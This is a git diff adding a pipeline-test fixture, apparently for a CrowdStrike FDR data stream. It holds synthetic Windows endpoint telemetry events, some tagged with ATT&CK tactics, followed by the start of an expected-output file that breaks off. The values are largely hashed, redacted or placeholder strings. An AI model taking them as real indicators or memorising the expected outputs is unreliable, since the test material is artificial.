+{"event_simpleName":"UserLogonFailed","ContextTimeStamp":"1746839239.892","UserName":"6cc6d9fae629fd277","ConfigStateHash":"7800020060","ContextProcessId":"2014546000418","LogonTime":"","ContextThreadId":"610009300097503","aip":"81.2.69.192","UserSid":"S-25871-2981-333","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","PasswordLastSet":"","TreeId":"929834768029","Entitlements":"16","name":"9d199e1f177dd175a","EventOrigin":"1","UserLogonFlags":"1","id":"498499842694e5b09e8a1c4abfe2eb414696","EffectiveTransmissionClass":"2","aid":"82e84213f5e5ad2820ee7b0f905b8f43","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"UserIsAdmin":"1","LogonTime":"1745948887.174","ContextThreadId":"500010382010308","aip":"216.160.83.56","LogonDomain":"6e","RemoteAccount":"1","UserSid":"S-46253-20659-68776-75234-87277-33222-58161","event_platform":"Win","UserFlags":"52","ClientComputerName":"d51a37d47316ea","EventOrigin":"1","LogonServer":"be2c2f","id":"064eb67301d3224008ad7aee62c85ce3b9f2","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"UserLogon","ContextTimeStamp":"1759677701.966","UserName":"a7b663ef867","ConfigStateHash":"3440491101","ContextProcessId":"1776052010570","LogonType":"4","PrivilegesBitmask":"900780039900","AuthenticationPackage":"43c19a09","AuthenticationId":"4084727020","UserPrincipal":"testuser@test.com","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"1559926561.421","Entitlements":"56","name":"184e1f7f8f1","UserLogonFlags":"0","EnabledPrivilegesBitmask":"2034200020","aid":"43efa5759b9c618d8565a64ba39b729c","UserGroupsBitmask":"8043300404","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextThreadId":"100445831083903","aip":"89.160.20.112","event_platform":"Win","TokenType":"1","EventOrigin":"1","InterfaceGuid":"fa20370b2cc4c0e88d161f705a2bba7fbe37","RpcClientProcessId":"4000150007426","id":"f6b9775ac6046bae94a4121496a6896a86f6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"VolumeSnapshotCreated","ContextTimeStamp":"1749838695.450","UserName":"481403faf1d","ConfigStateHash":"892001000","ContextProcessId":"3093093002701","InterfaceVersion":"0","RpcClientThreadId":"680008401000314","AuthenticationId":"830","ConfigBuild":"2c8b.4.bab7095.e6","RpcOpNum":"8","Entitlements":"16","name":"20c2ece111ed142fd2567b9","aid":"3dc8ee79410457af4c28499efe37b5bc","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\da2d906a"}
+{"ContextThreadId":"449040000360080","aip":"81.2.69.142","VolumeDriveLetter":"82","event_platform":"Win","TokenType":"1","VolumeSnapshotName":"\\6ba0bd\\8536f344","EventOrigin":"1","InterfaceGuid":"48e8e6085fac8e183337f9647e2623b38023","RpcClientProcessId":"5000504040107","id":"00d920a4c248b10173113fc4155a74b4b655","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"VolumeSnapshotDeleted","VolumeName":"\\6ba0bd\\257d4e13","ContextTimeStamp":"1760029340.183","UserName":"580d88d","ConfigStateHash":"7800020060","ContextProcessId":"8000830008430","InterfaceVersion":"0","RpcClientThreadId":"914521090820021","SHA256HashData":"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"54d\\d598026\\4a6a0a4b\\a096c58f.exe\"","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe","RpcOpNum":"40","Entitlements":"26","name":"1523f0687a552764e446cf1","aid":"10ee42b0c65b014b6197f3d92782c4ad","RpcNestingLevel":"1","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"WmiCreateProcess","ContextTimeStamp":"1760910207.570","UserName":"f3c32fdf5aef1041","ConfigStateHash":"450007109","aip":"81.2.69.192","RpcClientThreadId":"5500404207604","BoundingLimitCount":"1","AuthenticationId":"400605500","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","CommandLine":"43126eea\\79499b4.1\\48\\a686\\44dc\\9f8c9452\\30973301\\6961403c.txt\" 2>&1\"","TokenType":"2","TargetProcessId":"341000415765","BoundingLimitDuration":"1486640","ImageFileName":"\\6ba0bd\\6cf19058\\d598026\\dc9ec376\\04d.exe","Entitlements":"86","name":"4d986d3e22110751d0","EventOrigin":"1","RpcClientProcessId":"901070429000","id":"4fd1a6718f8c7a25e6af1b5af89b5565a443","EffectiveTransmissionClass":"3","aid":"8bba3f79ae72c48db0721bce1cc23f47","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"aip":"81.2.69.144","WmiProviderType":"425f2336","event_platform":"Win","PatternId":"260","ClientComputerName":"f2752e89","EventOrigin":"1","id":"08b4a44cd2f229eadaa6f64169deb30db7f7","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"WmiProviderRegistrationEtw","ContextTimeStamp":"1746785661.429","UserName":"207ef664\\d621c1","ConfigStateHash":"750096004","WmiProviderName":"\\c\\4813\\155e1\\63acf3b8.Name=\\6c12b79e.0\\8","EtwRawProcessId":"4080","ContextProcessId":"9977300700005","ConfigBuild":"2c8b.4.bab7095.e6","CommandLine":"82\\340d600\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe","Entitlements":"76","name":"256ae77a9371219d15d0ae429aae","ProcessStartTime":"1745961781.179","PerformanceCounter":"c0350cfa279c5991","aid":"fe88182661659af8a192fac5db624574","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"WroteExeAndGeneratedServiceEvent","ConfigStateHash":"710307050","ContextProcessId":"48146963060067","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"16","name":"993018c29291eaa31ad975c11fbbae3390","EventOrigin":"1","id":"b2cdcff3f1ec7958dd0f0d3b83d51360bfa4","EffectiveTransmissionClass":"3","aid":"945a25b2d8f219a0693641fa5daeb3c4","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"FileOperatorSid":"S-43058-61586-47269","ContextBaseFileName":"7b31c1d240b3d","FileCategory":"1","Size":"7000060","ContextThreadId":"200084098009700","MinorFunction":"0","aip":"81.2.69.142","IsOnNetwork":"0","FileIdentifier":"5f66e241c1232a879e63898df2f3f6cdbcda25651d2934fe","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\23579bbe","id":"2b0434b299dc23d3e66d5af40855f712e176","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ZipFileWritten","ContextTimeStamp":"1760526628.961","ConfigStateHash":"9080101000","ContextProcessId":"356301901002","IrpFlags":"0","AuthenticationId":"329","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"76","name":"736782612c55c54fc","OperationFlags":"0","aid":"3e64efce7e8a490b018d335f25b68760","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\a37a4d54\\c86835dc\\21e\\00e1\\a686\\4e7075fa.tmp"}
+{"ImageSignatureType":"0","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"2","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\<redacted>\\\\Windows\\\\<system>\\\\<redacted>.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\<redacted>\\\\Program Files (x86)\\\\<destination>.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ImageSignatureType":"1","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"0","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\<redacted>\\\\Windows\\\\<system>\\\\<redacted>.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\<redacted>\\\\Program Files (x86)\\\\<destination>.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ImageSignatureType":"1","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"2","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\<redacted>\\\\Windows\\\\<system>\\\\<redacted>.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\<redacted>\\\\Program Files (x86)\\\\<destination>.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"}
+{"RegObjectName":"\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","ContextThreadId":"700420809200030","aip":"81.2.69.192","RegClassificationFlags":"1","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|","timestamp":"1743508799999","event_simpleName":"RegSystemConfigValueUpdate","ContextTimeStamp":"1759424211.858","ConfigStateHash":"2080600092","ContextProcessId":"1007045000929","RegType":"1","RegClassificationIndex":"718","AuthenticationId":"864","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","RegClassification":"334","Entitlements":"86","name":"24ba14f1e5840e900e581616a2fe","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"}
+{"aip":"89.160.20.128","event_platform":"Win","TokenType":"1","EventOrigin":"17","InterfaceGuid":"12ABC-345-56D7-X","RpcClientProcessId":"000000000000","id":"aaaaaaaaaa-c6b5-499a-a494-cccccccccc","EffectiveTransmissionClass":"3","timestamp":"1757935009450","LocalAddressIP4":"89.160.20.128","event_simpleName":"ServiceStarted","ContextTimeStamp":"1757935008.880","UserName":"redacted-computer-name","ConfigStateHash":"00000000","InterfaceVersion":"1111111","RpcClientThreadId":"2222222222222","AuthenticationId":"333","ServiceDisplayName":"<redacted>","ConfigBuild":"1007.3.0019907.15","CommandLine":"C:\\Windows\\system32\\<redacted>.exe","TargetProcessId":"444444444444","ImageFileName":"\\Device\\Volume\\Windows\\System32\\<redacted>.exe","RpcOpNum":"19","Entitlements":"15","name":"ServiceStartedV2","ComputerName":"redacted-user-name","aid":"11111aaaaaaaaaaaaacccccccccddddd","RpcNestingLevel":"0","cid":"22222bbbbbbbbbbbbbdddddddddd1233"}
+{"AuthenticodeHashDataSHA256":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ContextThreadId":"1111111111111","CertificateIssuer":"Microsoft Windows Production PCA 2011","aip":"89.160.20.128","CertificateSignatureHash":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb","CertificatePublisher":"Microsoft Windows","CompanyName":"Microsoft Corporation","event_platform":"Win","AuthenticodeHashData":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","OriginalFilename":"wdnisdrv.sys","FileVersion":"4.18.25070.5 (1abbbbbbccccccccccddddddd444444444422222)","ImageCheckSum":"123456","EventOrigin":"17","RpcClientProcessId":"000000000000","id":"aaaaaaaa-3328-4c62-b151-bbbbbbbbbbb","EffectiveTransmissionClass":"3","timestamp":"1757905962256","LocalAddressIP4":"89.160.20.128","event_simpleName":"DriverLoad","ContextTimeStamp":"1757905958.885","ConfigStateHash":"111111111","ContextProcessId":"000000000000","DriverLoadFlags":"0","ImageEntryPoint":"94208","MD5HashData":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","RpcClientThreadId":"1908581779603","SHA256HashData":"cccccccccccccccccccccccccccccccccccccccccccccccccccccc","ServiceDisplayName":"WdNisDrv","ConfigBuild":"1007.3.0019907.15","FixedFileVersion":"4.18.25070.5","RegistryPath":"","ImageFileName":"\\Device\\Volume\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys","ImageTimeStamp":"2448850720","Entitlements":"15","name":"DriverLoadV6","ComputerName":"redacted-computer-name","CertificateSignatureHashAlgorithm":"32780","aid":"11111aaaaaaaaaaaaacccccccccddddd","cid":"22222bbbbbbbbbbbbbdddddddddd1233","HashAlgorithm":"32780"}
+{"ContextThreadId":"1945182997323","aip":"81.2.69.192","RegObjectName":"\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED","RegClassificationFlags":"257","RegOperationType":"2","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"","timestamp":"1757920331466","LocalAddressIP4":"81.2.69.192","event_simpleName":"RegCrowdstrikeValueUpdate","ContextTimeStamp":"1757920329.062","ConfigStateHash":"2080600092","ContextProcessId":"100704500092","RegType":"0","RegClassificationIndex":"405","AuthenticationId":"997","ConfigBuild":"1007.3.0019907.15","RegValueName":"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","RegClassification":"102","Entitlements":"15","name":"RegCrowdstrikeValueUpdateV1","ComputerName":"redacted-computer-name","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"}
+{"FileOperatorSid":"S-1-5-18","ContextBaseFileName":"svchost.exe","FileCategory":"3","Size":"22929","ContextThreadId":"1111111111111","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","event_platform":"Win","TokenType":"2","EventOrigin":"1","DiskParentDeviceInstanceId":"61f\\cd4242a2\\a3fcbe35","id":"9c458f0ddfe1293cd356445b2c473d0a0ef4","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1757906530446","LocalAddressIP4":"89.160.20.112","event_simpleName":"PngFileWritten","ContextTimeStamp":"1757906529.857","UserName":"dev-win10-3$","ConfigStateHash":"1234437812","ContextProcessId":"111122223333","IrpFlags":"0","AuthenticationId":"999","FileWrittenFlags":"0","ConfigBuild":"1002.2.0019609.21","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"15","name":"PngFileWrittenV3","ComputerName":"dev-win10-3","OperationFlags":"0","Attacks":[{"Tactic":"Command and Control","Technique":"Data Obfuscation"}],"aid":"bae5bafaeb93295d398bf55b8ba1cf01","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\Device\\Images\\qwert.png"}
+{"event_simpleName":"MotwWritten","ConfigStateHash":"0222222222","ContextProcessId":"1111111111","aip":"89.160.20.128","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","HostUrl":"","Entitlements":"15","name":"MotwWrittenV2","EventOrigin":"1","ReferrerUrl":"","id":"9c458f-ddfe1293cd-56445b2c4-3d0a0ef4","EffectiveTransmissionClass":"3","aid":"bae5bafaeb93295d398bf55b8ba1cf01","timestamp":"1755541882619","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\Device\\Local\\Default\\Files\\asdf-ghkl"}
+{"event_simpleName":"MountedVolume","BatchDataTotal":"3","VolumeSessionUUID":"BA6553C6-EA71-4F58-ADF2-EB7C71401657","BatchTimestamp":"1758303984.040","BatchDataNumber":"2","VolumeMountPoint":"\\??\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}","VolumeDriveLetter":"\\\\?\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}","event_platform":"Win","VolumeDeviceObjectFlags":"134479872","VolumeFileSystemDevice":"\\Ntfs","VolumeIsEncrypted":"0","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","EventOrigin":"1","DiskParentDeviceInstanceId":"PCI\\VEN_15AD\u0026DEV_07F0\u0026SUBSYS_07F015AD\u0026REV_00\\4\u00263b50545d\u00260\u002600B8","VolumeDeviceCharacteristics":"131072","id":"4a10cafe-7a95-4659-80c0-9b670b2308c1","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1758303980922","VolumeName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","ConfigStateHash":"3667246164","MountedVolumeAction":"0","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeLabel":"","ConfigBuild":"1007.3.0019907.15","VolumeEncryptionStatus":"0","VolumeFileSystemType":"2","Entitlements":"15","name":"MountedVolumeV1","VirtualDriveFileName":"","ComputerName":"ETW","aid":"bae5bafaeb93295d398bf55b8ba1cf01"}
+{"event_simpleName":"FalconProcessHandleOpDetectInfo","GrandparentProcessId":"107378835181","GrandparentProcessPatternIdList":"","ParentProcessId":"107382228681","TemplateInstanceId":"20587","ParentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\wininit.exe","HandleOperationType":"1","event_platform":"Win","PatternId":"10517","EventOrigin":"1","id":"da53cef8-72b1-4ca8-af19-2ae8f9c30fbf","ParentCommandLine":"wininit.exe","EffectiveTransmissionClass":"3","timestamp":"1757916888316","ConfigStateHash":"3164437859","TemplateDisposition":"10","ContextProcessId":"107384762651","TargetProcessImageFileName":"\\Device\\HarddiskVolume4\\Program Files\\CrowdStrike\\CSFalconService.exe","ConfigBuild":"1007.3.0019907.15","CommandLine":"C:\\Windows\\system32\\services.exe","ParentProcessPatternIdList":"7201,7410,7426","TargetProcessId":"107445999828","DesiredAccess":"2097151","ImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\services.exe","Entitlements":"15","name":"FalconProcessHandleOpDetectInfoV1","ComputerName":"win10-qwe-3","ContextProcessTagsAsString":"179,417,113292","aid":"cdbfd7c3bab5478d935db9969b5886cc","PatternIdList":"7053,7090,7119","TargetProcessCommandLine":"\"C:\\Program Files\\CrowdStrike\\CSFalconService.exe\""}
+{"event_simpleName":"ServiceStopped","SourceProcessId":"111822186970","EtwRawRpcClientProcessId":"5940","event_platform":"Win","EventOrigin":"1","id":"e9e1ae71-7b21-4260-9891-f1dd497a7ea9","EffectiveTransmissionClass":"3","timestamp":"1761814422802","IsHosted":"0","ContextTimeStamp":"1761814419.055","ConfigStateHash":"1611923365","EtwRawProcessId":"5940","ServiceDisplayName":"wuauserv","ConfigBuild":"1007.3.0020008.15","CommandLine":"C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s wuauserv","TargetProcessId":"111822186970","ImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\svchost.exe","Entitlements":"15","name":"ServiceStoppedV2","ClientProcessStartKey":"7599824371187858","ComputerName":"win10-qwe-3","aid":"cdbfd7c3bab5478d935db9969b5886cc"}
+{"event_simpleName":"KernelServiceStarted","ContextTimeStamp":"1761811657.917","ConfigStateHash":"1146505100","ContextProcessId":"111669260464","ContextThreadId":"1984294987428","RpcClientThreadId":"1985175578964","ServiceDisplayName":"@C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\MpAsDesc.dll,-370","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","ImageFileName":"\\Device\\HarddiskVolume4\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys","Entitlements":"15","name":"KernelServiceStartedV3","ImageBaseName":"WdNisDrv.sys","EventOrigin":"17","ComputerName":"raquel-win10-3","RpcClientProcessId":"111754267474","id":"664425be-9ed3-4b41-8790-5bd12a9889e8","EffectiveTransmissionClass":"3","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1761811660596"}
+{"event_simpleName":"InstalledBrowserExtension","BrowserName":"4","BrowserFilePath":"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe","BatchDataTotal":"2","BrowserProfileName":"Profile 1","BatchTimestamp":"1757820209.223","BrowserExtensionVersion":"1.2.1","BrowserExtensionInstalledTimestamp":"1748442656.300","BatchDataNumber":"1","UserSid":"S-1-5-21-2765107603-xxxx-500","event_platform":"Win","UpdateFlag":"1","BrowserProfileId":"Default","EventOrigin":"17","id":"0eaf2b81-3888-446f-99ba-e38ff8249b25","EffectiveTransmissionClass":"2","timestamp":"1757820209811","BrowserExtensionArchitecture":"3","UserName":"win10_user3","ConfigStateHash":"3164437859","BrowserExtensionPath":"C:\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Extensions\\jmjflgjpcpepeafmmgdpfkogkghcpiha\\1.2.1_0","BrowserExtensionId":"jmjflgjpcpepeafmmgdpfkogkghcpiha","ConfigBuild":"1007.3.0019907.15","BrowserExtensionName":"Edge relevant text changes","BrowserExtensionStatusEnabled":"1","BrowserFileHash":"ef9d1b42ca58103e9647763f67303519a0701c7b1278af0ad25f7f673c10743b","Entitlements":"15","name":"InstalledBrowserExtensionV2","ComputerName":"win10-qwe-3","BrowserExtensionInstallMethod":"1","aid":"cdbfd7c3bab5478d935db9969b5886cc","BrowserVersion":"138.0.3351.83"}
+{"event_simpleName":"SensorAntiTamperState","ConfigStateHash":"1442922594","ConfigBuild":"1007.3.0019907.15","AntiTamperStateFlag":"9","event_platform":"Win","Entitlements":"15","name":"SensorAntiTamperStateV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"8bee55a5-f768-48b9-ab4c-614a1283a58a","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757648518836"}
+{"event_simpleName":"SensorSettingsUpdate","RTRState":"1","ConfigStateHash":"1442922594","Flags":"0","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","Entitlements":"15","name":"SensorSettingsUpdateV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"c188e104-d940-46af-aed8-acf5086fc187","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757648518836"}
+{"event_simpleName":"ServicesStatusInfo","ConfigStateHash":"1694325680","ServiceDisplayName":"spooler","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","Entitlements":"15","name":"ServicesStatusInfoV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"37ddccdf-594d-4224-97de-e784822466f4","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757819610498","ServiceCurrentState":"4"}
+{"event_simpleName":"FileWrittenWithEntropyHigh","Size":"12216","ShannonEntropy":"932","BoundingLimitCount":"5","event_platform":"Win","EventOrigin":"1","id":"fc10d190-e98f-45fc-bb2a-ca60d3534a2a","EffectiveTransmissionClass":"3","timestamp":"1761811953235","ContextTimeStamp":"1761811952.620","ConfigStateHash":"1146505100","ContextProcessId":"111845303038","AuthenticationId":"999","ConfigBuild":"1007.3.0019907.15","FileEcpBitmask":"0","BoundingLimitDuration":"3600000","Entitlements":"15","name":"FileWrittenWithEntropyHighV2","ComputerName":"win10-qwe-3","Attacks":[{"Tactic":"Defense Evasion","Technique":"Obfuscated Files or Information"}],"aid":"bae5bafaeb93295d398bf55b8ba1cf01","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\APPX.fb9inon0wlj06bji0gujvuvcd.tmp"}
+{"event_simpleName":"ReflectiveDotnetModuleLoad","AssemblyName":"vezhsq1h, Version\u003d0.0.0.0, Culture\u003dneutral, PublicKeyToken\u003dnull","ModuleNativePath":"","NativePdbBuildPath":"","event_platform":"Win","DotnetModuleFlags":"8","DotnetModuleId":"140707789195504","EventOrigin":"1","id":"b089f099-ffac-44fd-9efe-e1bc148214ee","EffectiveTransmissionClass":"3","timestamp":"1755638644187","ManagedPdbBuildPath":"","ContextTimeStamp":"1755638637.713","ConfigStateHash":"3064617115","ContextProcessId":"11708829302","AssemblyFlags":"0","EtwProviderType":"2","ConfigBuild":"1007.3.0019907.15","CommandLine":"\"C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","Entitlements":"15","name":"ReflectiveDotnetModuleLoadV2","AssemblyId":"1825020243168","aid":"cdbfd7c3bab5478d935db9969b5886cc","ModuleILPath":"vezhsq1h"}
+{"event_simpleName":"SuspiciousPrivilegedProcessHandle","IntegrityLevel":"16384","ContextThreadId":"1217210494023","TargetIntegrityLevel":"16384","event_platform":"Win","SuspiciousHandleOpenReason":"2","EventOrigin":"1","id":"87902694-15af-4692-b1e2-bf7fba80b272","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1757597618983","ContextTimeStamp":"1757597618.424","ConfigStateHash":"3591479077","ContextProcessId":"90332841484","AuthenticationId":"996","ConfigBuild":"1007.3.0019907.15","TargetProcessId":"90365065195","DesiredAccess":"2097151","Entitlements":"15","name":"SuspiciousPrivilegedProcessHandleV2","ComputerName":"win10-qwe-3","aid":"cdbfd7c3bab5478d935db9969b5886cc","TargetAuthenticationId":"996"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log-expected.json
new file mode 100644
index 0000000000..7ac6cb124a
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log-expected.json
@@ -0,0 +1,11696 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AsepClass": "7",
+                "AsepFlags": "3",
+                "AsepIndex": "5",
+                "AsepValueType": "0",
+                "AuthenticationId": "830",
+                "ConfigStateHash": "4001039063",
+                "ContextProcessId": "3007920321347",
+                "ContextTimeStamp": "2025-08-14T07:19:14.441Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "66",
